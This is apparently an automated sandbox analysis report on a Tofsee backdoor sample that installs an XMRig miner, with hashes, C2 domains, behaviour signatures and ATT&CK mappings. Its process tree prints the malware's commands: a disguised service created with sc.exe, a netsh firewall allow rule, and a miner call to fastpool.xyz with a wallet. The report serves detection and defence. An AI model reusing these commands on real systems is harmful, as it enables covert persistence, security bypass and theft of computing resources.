Analysis

  • max time kernel
    145s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    03-12-2022 21:19

General

  • Target

    7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888.exe

  • Size

    192KB

  • MD5

    911647ce6826d410a80da55024518d9f

  • SHA1

    a49ce6f4e31271bbe9a143fbb9070e1762af26dd

  • SHA256

    7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888

  • SHA512

    60aa1d051c3b09c57bf925566f78b848be8ec2d5aa18d2f251ed0a53a929d33af26a384021c8b5251c21a645a1c2b9f3cd44facfa45062d7975a7729ef40eef3

  • SSDEEP

    3072:4NbwXahIq1sQXuGIJ5b+vOWU/zRpoPY6oGd7CDwpjRs9E3AZxpR/rNY:4/1sQXuGODWyRpoPYoeDpvpZN

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888.exe
    "C:\Users\Admin\AppData\Local\Temp\7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1348
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mhlegfrb\
      2⤵
        PID:1272
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ekcrwpg.exe" C:\Windows\SysWOW64\mhlegfrb\
        2⤵
          PID:1280
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mhlegfrb binPath= "C:\Windows\SysWOW64\mhlegfrb\ekcrwpg.exe /d\"C:\Users\Admin\AppData\Local\Temp\7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:956
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mhlegfrb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:940
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mhlegfrb
          2⤵
          • Launches sc.exe
          PID:1532
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1616
      • C:\Windows\SysWOW64\mhlegfrb\ekcrwpg.exe
        C:\Windows\SysWOW64\mhlegfrb\ekcrwpg.exe /d"C:\Users\Admin\AppData\Local\Temp\7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:268
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:992
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2028

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ekcrwpg.exe
        Filesize

        11.7MB

        MD5

        ff8c0798aa4ebbf9cb821d2486d53c6e

        SHA1

        ad15434fde9ad5961bb3a6c59bd6d9631fdff7b1

        SHA256

        6f884dc230aaa359dc3971b85b30f0b2baca9a2ce29392ef682530adf9e30965

        SHA512

        2683ee4db5d73f21e601cf456cd25c66930c22d054f9804e2fe7526310a642ed7a3a9308b405608bc212fd98feab8bf38c52c90c2c1b17b8b9634a8164987ca0

      • C:\Windows\SysWOW64\mhlegfrb\ekcrwpg.exe
        Filesize

        11.7MB

        MD5

        ff8c0798aa4ebbf9cb821d2486d53c6e

        SHA1

        ad15434fde9ad5961bb3a6c59bd6d9631fdff7b1

        SHA256

        6f884dc230aaa359dc3971b85b30f0b2baca9a2ce29392ef682530adf9e30965

        SHA512

        2683ee4db5d73f21e601cf456cd25c66930c22d054f9804e2fe7526310a642ed7a3a9308b405608bc212fd98feab8bf38c52c90c2c1b17b8b9634a8164987ca0

      • memory/268-78-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

      • memory/268-75-0x000000000028B000-0x000000000029C000-memory.dmp
        Filesize

        68KB

      • memory/940-62-0x0000000000000000-mapping.dmp
      • memory/956-61-0x0000000000000000-mapping.dmp
      • memory/992-81-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/992-79-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/992-97-0x0000000000190000-0x0000000000197000-memory.dmp
        Filesize

        28KB

      • memory/992-94-0x00000000054D0000-0x00000000058DB000-memory.dmp
        Filesize

        4.0MB

      • memory/992-91-0x0000000000180000-0x0000000000185000-memory.dmp
        Filesize

        20KB

      • memory/992-88-0x0000000000170000-0x0000000000180000-memory.dmp
        Filesize

        64KB

      • memory/992-85-0x0000000000160000-0x0000000000166000-memory.dmp
        Filesize

        24KB

      • memory/992-70-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/992-73-0x0000000000089A6B-mapping.dmp
      • memory/992-72-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/992-82-0x00000000019F0000-0x0000000001BFF000-memory.dmp
        Filesize

        2.1MB

      • memory/1272-57-0x0000000000000000-mapping.dmp
      • memory/1280-59-0x0000000000000000-mapping.dmp
      • memory/1348-66-0x000000000026B000-0x000000000027C000-memory.dmp
        Filesize

        68KB

      • memory/1348-55-0x00000000003C0000-0x00000000003D3000-memory.dmp
        Filesize

        76KB

      • memory/1348-54-0x000000000026B000-0x000000000027C000-memory.dmp
        Filesize

        68KB

      • memory/1348-56-0x0000000074F41000-0x0000000074F43000-memory.dmp
        Filesize

        8KB

      • memory/1348-68-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

      • memory/1348-67-0x00000000003C0000-0x00000000003D3000-memory.dmp
        Filesize

        76KB

      • memory/1348-58-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

      • memory/1532-63-0x0000000000000000-mapping.dmp
      • memory/1616-65-0x0000000000000000-mapping.dmp
      • memory/2028-100-0x0000000000080000-0x0000000000171000-memory.dmp
        Filesize

        964KB

      • memory/2028-102-0x0000000000080000-0x0000000000171000-memory.dmp
        Filesize

        964KB

      • memory/2028-107-0x000000000011259C-mapping.dmp